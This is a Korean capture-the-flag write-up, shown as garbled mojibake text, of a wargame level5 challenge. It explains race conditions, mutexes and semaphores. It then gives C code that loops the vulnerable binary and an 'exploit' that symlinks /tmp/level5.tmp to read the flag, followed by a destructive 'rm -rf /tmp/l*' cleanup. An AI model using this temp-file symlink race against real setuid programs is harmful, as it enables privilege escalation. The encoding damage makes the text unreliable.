Jastes 2022. 6. 30. 12:04

level5 ๋ฌธ์ œํ’€์ด(Race Condition)

keyword : tmp weakness exploit

 


๋ฌธ์ œํŒŒ์•… 

/usr/bin/ ํŒŒ์ผ์—์„œ /tmp ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ์ž„์‹œํŒŒ์ผ์—์„œ ์ทจ์•ฝ์ ์„ ์ฐพ๋‚˜๋ณด๋„ค์š”

์—ฌ๊ธฐ์„œ ์ž„์‹œํŒŒ์ผ์ด ์ทจ์•ฝํ•œ ์ด์œ ๋Š” ์„œ๋ฒ„๊ฐ™์€ ๋ถ€๋ถ„์—์„œ ์ž„์‹œ ์ž‘์—…์ธ ๋กœ๊ทธ ๋ฐ ์ค‘์š” ์ •๋ณด๋ฅผ ๋‹ด๋Š” ๊ณณ

๊ทธ๊ณณ์€ root ๋ฐ‘์— ๋ถ€์†๋œ tmp(์ž„์‹œ ํŒŒ์ผ)๋ผ๋Š” ๋ถ€๋ถ„์ด๊ฑฐ๋“ ์š” ๊ทธ๋‹ˆ๊นŒ root์ชฝ์—์„œ ๋ณด๋Š”๊ฒŒ ์ข‹๊ฒ ์ฃ ?

์‹ค์ˆ˜๋ฅผ ๋งŽ์ด ํ•˜๋Š” ๋ถ€๋ถ„ ใ… 
์˜ฌ๋ฐ”๋ฅธ ์ ‘๊ทผ ๋ฐฉ์‹

๊ทธ๋Ÿฌ๋‚˜ ํžŒํŠธ์—์„  level.tmp ์ž„์‹œํŒŒ์ผ์—์„œ ํ•˜๋ผ๋˜๋ฐ ์—†์ฃ ? ๊ทธ๋Ÿผ ๋งŒ๋“ค์–ด์•ผ๊ฒ ๋„ค์š”

๊ทผ๋ฐ ํ•˜๋‹ค๋ณด๋ฉด์„œ ์•Œ๊ฒŒ๋œ ์‚ฌ์‹ค์ธ๋ฐ ๊ฒฐ๊ตญ ์–ด์งœํ”ผ ๊ณ„์ •๋งŒ ์—ฌ๋Ÿฌ๊ฐœ๋กœ ๋‚˜๋ˆ„์–ด ๊ด€๋ฆฌ๋งŒ ํ–ˆ์ง€ ๋ฌธ์ œ ์ ‘๊ทผ์€..
ํ•ด๋‹น ๋กœ์ง์— ์žˆ์œผ๋‹ˆ๊นŒ..

์ด๋ ‡๊ฒŒ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•œ๋ฐ.. ๋ญ ์žฌ๋ฏธ์žˆ๊ฒŒ ๋ณธ ๋ถ€๋ถ„์ด๊ณ  ๋‹ค์‹œ ๋ฌธ์ œ๋กœ ๋Œ์•„๊ฐ€์„œ

level5 ๋ฌธ์ œ๋Š” ํ‘ธ๋Š” ์—ฌ๋Ÿฌ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด ์žˆ์–ด์„œ ํฌ๊ฒŒ 2๊ฐ€์ง€๋กœ
๋ ˆ์ด์Šค ์ปจ๋””์…˜ ๊ณต๊ฒฉ๊ณผ ์ž„์‹œํŒŒ์ผ ๊ถŒํ•œ ์กฐ์ž‘ํ•ด ๋ฎ์–ด์“ฐ๊ธฐ? ์ •๋„๋กœ ๋ณผ ์ˆ˜ ์žˆ์–ด์š”
ํ•˜์ง€๋งŒ ์—ฌ๊ธฐ์„  ์ฃผ๋œ ๋‚ด์šฉ์€ ๋ ˆ์ด์Šค ์ปจ๋””์…˜ ๊ณต๊ฒฉ ๊ฐ™๋„ค์š” ๊ทธ๋Ÿผ ํ•œ ๋ฒˆ ์‹ค์Šตํ•ด๋ณผ๊นŒ์š”


์ทจ์•ฝ์  ํƒ์ƒ‰

๊ทธ ์ „์— ํžŒํŠธ์—์„œ.. ๊ทธ๋‹ˆ๊นŒ ์ด๋ฏธ์ง€๋กœ ๋ณด์‹œ๋ฉด

level6์œผ๋กœ ๋“ค์–ด๊ฐ€์•ผ ๊ถŒํ•œ์ด ๋˜์„œ ์ฝ”๋“œ๋ฅผ ๋ณผ ์ˆ˜๊ฐ€ ์žˆ๋„ค์š”..
์šฐ๋ฆฌ๋Š” ๊ณต๋ถ€์ด๊ธด ํ•˜์ง€๋งŒ ์‹ค์Šต์ด๋ผ๊ณ  ์ƒ๊ฐํ•˜๊ณ  ๋‹ค ํ•œ ๋’ค์— ์ € ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•ด ๋ณด๋„๋ก ํ•ฉ์‹œ๋‹ค ใ… 

๋ถ„์„ํ•ด๋ณด์‹œ๋ฉด ์™œ Race Condition ๊ณต๊ฒฉ์ด๋‚˜ ํŒŒ์ผ ๋ฎ์–ด์“ฐ๊ธฐ ํ•˜๋ผ๋Š”์ง€ ์•Œ ์ˆ˜ ์žˆ๊ฒ ์ฃ ?


Race Condition..์— ๋Œ€ํ•˜์—ฌ

๊ต์ฐฉ ์ƒํƒœ์˜ ๋ฌธ์ œ์ ์œผ๋กœ ๋™์‹œ์— ํ”„๋กœ์„ธ์Šค์— ์ ‘๊ทผ ์‹œ ๋ฐœ์ƒํ•˜๋Š” ๋ฌธ์ œ

๋ผ๊ณ  ๊ฐ„๋‹จํ•˜๊ฒŒ ์ •์˜๊ฐ€ ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ ์ƒ์„ธํ•˜๊ฒŒ ์‚ดํŽด๋ณด๊ณ  ๋Œ€์ฒ˜๋ฒ•๋„ ์•Œ์•„๋ด์•ผ๊ฒ ์ฃ ?


Race Condition์ด๋ž€?

๋‘ ๊ฐœ ์ด์ƒ์˜ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๊ณตํ†ต ์ž์›์„ ๋ณ‘ํ–‰์ ์œผ๋กœ ์ฝ๊ฑฐ๋‚˜ ์“ฐ๋Š” ๋™์ž‘์„ ํ•  ๋•Œ
๊ณต์šฉ ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•œ ์ ‘๊ทผ์ด ์–ด๋–ค ์ˆœ์„œ์— ๋”ฐ๋ผ ์ด๋ฃจ์–ด์กŒ๋Š”์ง€์— ๋”ฐ๋ผ ๊ทธ ์‹คํ–‰ ๊ฒฐ๊ณผ๊ฐ€ ๊ฐ™์ง€ ์•Š๊ณ  ๋‹ฌ๋ผ์ง€๋Š” ์ƒํ™ฉ

Race Condition ์ทจ์•ฝ์  ๋ฐœ์ƒ
์ž˜ ๋Œ€์ฒ˜ํ•œ ๋ชจ์Šต(Mutex์˜ ์˜ˆ์‹œ์ฃ )

์œ„์™€ ๊ฐ™์€ ์ผ์ด ์ผ์–ด๋‚œ ํฐ ์ด์œ ๋Š” ๋น„๋™๊ธฐ์˜ ํ™œ์šฉ ๋•Œ๋ฌธ์ธ๋ฐ์š” ์—ญ์‹œ๋‚˜ ๋™์‹œ์— ์ ‘๊ทผํ•ด ์ž‘์—…ํ•˜๋ฉด
์ผ์˜ ํšจ์œจ์ด ์˜ฌ๋ผ๊ฐ€๊ธฐ์— ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์„ ๋Œ€์ฒ˜ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ๋กœ ๋น„๋™๊ธฐ๋Š” ๋™์‹œ ์ ‘๊ทผ/ ๋™๊ธฐ๋Š” ํ•˜๋‚˜์”ฉ ํ•˜๋Š” ๊ฑฐ์˜ˆ์š”(ํ”„๋กœ์„ธ์Šค๊ฐ€) ์‰ฝ์ฃ ?
๋น„๋™๊ธฐ๋กœ ์ž‘๋™ ์‹œ ๊ณต์œ  ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผ ์ˆœ์„œ์— ์˜ํ•ด ๊ถŒํ•œ๊ณผ ์‹คํ–‰ ๋ฐ˜๊ฒฝ ๋“ฑ์ด ๊ผฌ์ผ ์ˆ˜ ์žˆ์–ด์„œ..
Mutual exclusion, deadlock, starvation ์œ„์™€ ๊ฐ™์€ ๋ฌธ์ œ๊ฐ€ ์ƒ๊น๋‹ˆ๋‹ค.(๋‹จ, ๊ฒฝ์Ÿ ํ”„๋กœ์„ธ์Šค์—์„œ๋งŒ)

  • Mutual Exclusiong
    - ๊ณต์šฉ ๋ฐ์ดํ„ฐ์— ํ•œ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ ‘๊ทผ ์‹œ ๋‹ค๋ฅธ ๊ฒƒ์ด ์˜ค๋ฉด ๋ง‰์Œ(์ƒํ˜ธ ๋ฐฐ์ œ)
  • deadlock
    - ๊ฐ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋ชจ๋“  ์ž์›์„ ์—‘์„ธ์Šค ํ•œ๋‹ค๋ฉด ๋™์‹œ ์ ‘๊ทผ ์‹œ ๋ชจ๋“  ์ž์›์„ ๋…์ ํ•ด ๋‹ค๋ฅธ App์ด ์ค‘์ง€๋จ 
  • starvation
    - ๊ธฐ์•„ ์ƒํƒœ๋กœ ํ†ต์‹ ๊ณผ์ •์—์„œ ์ž‘์—…์ด ๋๋‚  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ฌ๋ฆฌ๋ฉด์„œ ์ƒ๊ธธ ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ œ

ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•

Semaphore(์„ธ๋งˆํฌ์–ด)

๊ณต์œ ๋œ ์ž์›์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์—ฌ๋Ÿฌ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์„ ๋ง‰์Œ
์ผ์ข…์— ์นด์šดํ„ฐ ๊ฐ™์€ ๊ณ„๋…, ๊ทธ๋Ÿฌ๋‚˜ ํ”„๋กœ์„ธ์Šค๋ฅผ ํ•˜๋‚˜์˜ ์Šค๋ ˆ๋“œ๋งŒ ๋„ฃ์„ ์ˆ˜๋„ ์—ฌ๋Ÿฌ ๊ฐœ์˜ ์Šค๋ ˆ๋“œ๋กœ๋Š” ์ž์œ 


Mutex(๋ฎคํ…์Šค)

์„ธ๋งˆํฌ์–ด๋ž‘ ์œ ์‚ฌํ•˜๋ฉฐ ์ฐจ์ด์ ์€ ๊ฐ ์“ฐ๋ ˆ๋“œ๋“ค์˜ ์‹คํ–‰ ์‹œ๊ฐ„์ด ๊ฒน์น˜์ง€ ์•Š๊ฒŒ ๋‹จ๋…์œผ๋กœ ์‹คํ–‰ ์‹œํ‚ด
locking๊ณผ unlocking์„ ์‚ฌ์šฉํ•ด ์ฆ‰, ๋‘ ์“ฐ๋ ˆ๋“œ๊ฐ€ ๋™์‹œ์— ์‚ฌ์šฉ์€ ์•ˆ๋œ๋‹ค๋Š” ์ด์•ผ๊ธฐ!


์‹ค์Šต

์œ„์— ๋‚˜์˜จ ๋‚ด์šฉ๊ณผ ๋ฐฉ์–ด ๊ธฐ๋ฒ•์€ ์•Œ์•„๋‘๋ฉด ์ข‹๊ฒ ์ฃ  ๋ฌผ๋ก  CS์ด๊ธฐ์— ๋„ˆ๋ฌด ์ •ํ™•ํ•˜๊ฒŒ ์•Œ๋ ค๊ณ  ํ•˜๋ฉด ํ”ผ๊ณคํ•˜๊ฒ ์ฃ 
์–ด๋Š์ •๋„๋งŒ ์•Œ๋ฉด ๋˜์š” ์‹œํ—˜ ๋ด๋„ ๋‹ค ๊นŒ๋จน์œผ๋‹ˆ๊นŒ ๋“ค์—ˆ์„ ๋•Œ ์•Œ ์ •๋„๋กœ๋งŒ ๊ทธ๋ž˜๋„ ์•Œ์•„๋Š” ๋‘๊ธฐ!

๋งŽ์€ ํ•ด๊ฒฐ ์ค‘์— ๊ฐ€์žฅ ํ•˜๊ธฐ ์‰ฌ์šด ํŒŒ์ผ ๋ฎ์–ด์“ฐ๊ธฐ๋ฅผ ๋จผ์ €ํ•ด๋ณผ๊นŒ์š”

ํŒŒ์ผ ๋ฎ์–ด์“ฐ๊ธฐ(?)

์•„๊นŒ ํžŒํŠธ์—์„œ /usr/bin/level5๋ฅผ ์‹คํ–‰์‹œํ‚ค๋ฉด /tmp์— level5.tmp๋ผ๋Š” ์ž„์‹œํŒŒ์ผ์ด ๋‚˜์˜จ๋‹ค๊ณ  ํ–ˆ์ฃ 
๊ทธ๋‹ˆ๊นŒ /tmp์— ์šฐ๋ฆฌ๊ฐ€ level5.tmp๋ฅผ ๋งŒ๋“ค์–ด ๋†“๋Š”๊ฑฐ์˜ˆ์š” ๊ทธ๋Ÿฌ๋ฉด..

์ด๋Ÿฌ๊ณ  ๋œฌ๋‹ค๋ฉด.. ์ €ํฌ๊ฐ€ ๋งŒ๋“  ํŒŒ์ผ์ด ๋˜๊ฒ ์ฃ  ๊ทผ๋ฐ ์•„๊นŒ /usr/bin/level5๋ฅผ ์‹คํ–‰์‹œํ‚ค๋ฉด..
์ด ๊ณณ์— ๊ฐ™์€ ์ด๋ฆ„์˜ ํŒŒ์ผ์„ ์ƒ์„ฑํ•  ์ˆ˜๋Š” ์—†๊ธฐ์—.. ๋˜ํ•œ ๊ถŒํ•œ์ด ๋‹ค๋ฅธ ํŒŒ์ผ์ด๊ธฐ์— ๋ฎ์–ด์“ฐ๊ธฐ๋งŒ ํ•˜๊ฒ ์ฃ 

์ฐธ๊ณ ๋กœ ์ด๋Ÿฐ ํ˜•์‹์œผ๋กœ ํ•œ๋‹ค๋ฉด ์‹ฌ๋ณผ๋งํฌ์˜ ์—ญํ• ๊ณผ ๋‹ค๋ฆ„์ด ์—†์ง€๋งŒ ๊ถŒํ•œ์€ ๊ทธ๋Ÿฌ์ง€ ์•Š์•„์š”
๋”ฐ๋กœ ์„ค์ •ํ•œ ๋ถ€๋ถ„์ด ์•„๋‹Œ ์ถฉ๋Œ๋กœ ์ธํ•œ ๊ฐ•์ œ ๋ณ‘ํ•ฉ? ๋Š๋‚Œ์ด๋‹ˆ๊นŒ์š”
์ฆ‰, level6์˜ /usr/bin/level5๊ฐ€ ํ•œ ์ผ์„ ํ•œ ๋ฒˆ ๋” level5์˜ ๊ถŒํ•œ์— ํŒŒ์ผ์— ํ•˜๋Š”๊ฒŒ ์ผ์ข…์˜ ํ•˜๋“œ๋งํฌ
๊ทธ๋Ÿฌ๋‚˜ ์šฐ๋ฆฐ ๊ทธ๋ƒฅ ๋ฎ์–ด์“ฐ๋Š” ๊ฑฐ์ฒ˜๋Ÿผ ์„ค์ •๋จ(์‹ฌ๋ณผ๋ฆญ ๋งํฌ ์„ค์ •ํ•˜๋ฉด ๋น„๊ต์  ์ง๊ด€์ ์œผ๋กœ ๋ณ€ํ•จ)

์ฐจ์ด์ ์ด๋ผ๋ฉด ํ•˜๋“œ๋งํฌ๋‚˜ ์†Œํ”„ํŠธ๋งํฌ์ธ์ง€์˜ ์ฐจ์ด์ธ๋ฐ ๋ฐ”๋กœ๊ฐ€๊ธฐ๋ž‘ ๋ณต์‚ฌํ•œ๊ฑฐ๋ž‘ ์ฐจ์ด๋ผ๊ณ ..
๋ณด์‹œ๋ฉด ์ƒ๊ด€ ์—†์„ ๊ฑฐ ๊ฐ™๋„ค์š” ์ฐธ๊ณ ๋กœ In -s ๋ชฉํ‘œ ๋งํฌํŒŒ์ผ๋ช…(Soft)๋กœ ํ•˜๋ฉด ๋˜์š”
ํŒŒ์ผ ๋งŒ๋“ค๊ณ  ํ•ด์•ผํ•˜๋Š”๊ฑด ๋‹น์—ฐํ•œ ๊ฑฐ๊ฒ ์ฃ ?

๊ทธ๋Ÿฌ๋ฉด ์ €ํฌ๊ฐ€ ๋งŒ๋“  ํŒŒ์ผ์— ๊ทธ flag๊ฐ€ ๋‚˜์˜ฌ ๊ฑฐ์˜ˆ์š” ํ•œ ๋ฒˆ ํ•ด๋ณผ๊นŒ์š”

์งœ๋ž€! ๋ฐ”๋กœ ๋‚˜์™”์ฃ  what the hell์ด๋ผ๋„ค์š” ใ…Žใ…Ž
์ด๋ ‡๊ฒŒ ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ๊ณ ์š” ๊ทธ๋Ÿฌ๋ฉด ํ•ด๋‹น ๊ถŒํ•œ์„ ์ทจ๋“ํ•ด ์ทจ์•ฝ์  ์ฝ”๋“œ ๋ถ„์„ ํ›„..
race condition๊ณต๊ฒฉ์„ ์ง„ํ–‰ํ•ด๋ณผ๊นŒ์š”


์‹ค์Šต2

๋†€๋ž๊ฒŒ๋„.. ํŒŒ์ผ์ด ๋ฐ•์‚ด๋‚˜๊ฒŒ ๋‚˜์˜ค๋„ค์š”
๊ทผ๋ฐ ์—ฌ๊ธฐ ํ‚ค์›Œ๋“œ๋Š” Race Condition์œผ๋กœ์จ ์–ด๋–ป๊ฒŒ ์•„๋ƒ?
ํžŒํŠธ๋ฅผ ๋ณด๊ณ  ์ž„์‹œํŒŒ์ผ ์ƒ์„ฑ์„ ์ค‘๊ฐ„์— ๊ฐ€๋กœ์น˜๊ฑฐ๋‚˜ ๋ฎ์–ด์“ฐ๋Š” ๋ฐฉ๋ฒ•์ด ๋– ์˜ค๋ฅด๋‹ˆ๊นŒ์š”..

ํ•ด๋‹น ์ทจ์•ฝ์  ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•˜๊ธด.. ํž˜๋“ค๊ฒŸ๋„ค์š”
์ฐธ๊ณ ๋กœ ๊ทธ๋ƒฅ root ๊ถŒํ•œ์œผ๋กœ ์ ‘๊ทผํ•ด์„œ ํ™•์ธํ–ˆ๋Š”๋ฐ๋„.. ใ… ๋…€์• 
๊ทผ๋ฐ ๋‹ค์‹œ ํ•œ ๋ฒˆ ์ƒ๊ฐํ•ด๋ณด๋ฉด flag ๋ฌธ์ž์—ด์ด ์ฝ”๋“œ์— ์žˆ๋‚˜๋ด์š” ์–ด์จ‹๋“ 

๋น„๋™๊ธฐ ํ˜•์‹์œผ๋กœ ์ž‘๋™ํ• ๊ฑฐ๋‹ˆ๊นŒ ํ•˜๋‚˜๋Š” ์‹œ์Šคํ…œ ๋ช…๋ น์–ด์—์„œ ํ•ด๋‹น /usr/bin/level5๋ฅผ ์‹คํ–‰ํ•ด์•ผ๊ฒ ์ฃ 
๋˜ํ•œ ํ•œ ๋ฒˆํ•˜๋ฉด ๋„ˆ๋ฌด ์งง์œผ๋‹ˆ๊นŒ ๋ฐ˜๋ณต๋ฌธ์œผ๋กœ ํ•ด์„œ ๋ฐ˜๋ณตํ•˜๊ธฐ์— ์•ž์— &๋„ ๋ถ™์—ฌ์„œ..

/usr/bin/level5 ์‹คํ–‰ํ•˜๊ธฐ
1
2
3
4
5
6
7
8
9
// file name : Race1.c
// Complie : gcc -o Race1 Race1.c
#include <stido.h>
 
int main(){
        for(int i=0; i<10; i++)
                system("/usr/bin/level5 &");
}
 
cs

๋˜ํ•œ ์ด๋ ‡๊ฒŒ ๋ฐ˜๋ณต๋œ ์ƒํ™ฉ์—์„œ ๋นจ๋ฆฌ ์šฐ๋ฆฌ๊ฐ€ ์‚ฝ์ž…ํ•ด flag๋ฅผ ์–ป์„ ์ฝ”๋“œ๋ฅผ ๋„ฃ์–ด์•ผ๊ฒ ์ฃ 

Exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// file name : exploit.c
// Complie : gcc -o exploit exploit.c
#include <stdio.h>
 
int main(){
        int i;
        system("touch /tmp/flag.txt");
 
        for(i=0; i<10; i++){
                system("ln -s /tmp/flag.txt /tmp/level5.tmp");
        }
 
        system("cat /tmp/flag.txt");
        system("rm -rf /tmp/l*");
}
 
cs

์ž ๊ทธ๋Ÿผ ์œ„ /usr..์„ ์‹คํ–‰ํ•  ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ๋ฐ”๋กœ Exploit ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ด์•ผ์ง€๋งŒ..
์ˆ˜์ž‘์—…์œผ๋กœ๋Š” ๋ถˆ๊ฐ€๋Šฅ์ด์ฃ  ๊ธˆ๋ฐฉ ๋๋‚˜๋‹ˆ๊นŒ ๊ทธ๋Ÿฌ๋‹ˆ๊นŒ ์‰˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ด๋ด…์‹œ๋‹ค.

์ฐธ๊ณ ๋กœ ์‰˜ ์Šคํฌ๋ฆฝํŠธ์— ๋Œ€ํ•˜์—ฌ ๊ถ๊ธˆํ•˜๋‹ค๋ฉด.. 

 

Bash ์ž…๋ฌธ์ž๋ฅผ ์œ„ํ•œ ํ•ต์‹ฌ ์š”์•ฝ ์ •๋ฆฌ (Shell Script)

 

blog.gaerae.com

level6 : what the hell ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ level7๋กœ ํ›„๋”ฑ ์˜ฌ๋ผ๊ฐ€๋ด…์‹œ๋‹ค!


์ฐธ๊ณ  ์ž๋ฃŒ

 

Race conditions

I'm currently stuck trying to understand two things related to race conditions. Issue 1: I have been presented with the following question: We consider the digital circuit and the value of its ...

stackoverflow.com

์ฐธ๊ณ  ์ด๋ฏธ์ง€

 

Level Up free icons designed by Freepik

Download now this vector icon in SVG, PSD, PNG, EPS format or as webfonts. Flaticon, the largest database of free icons.

www.flaticon.com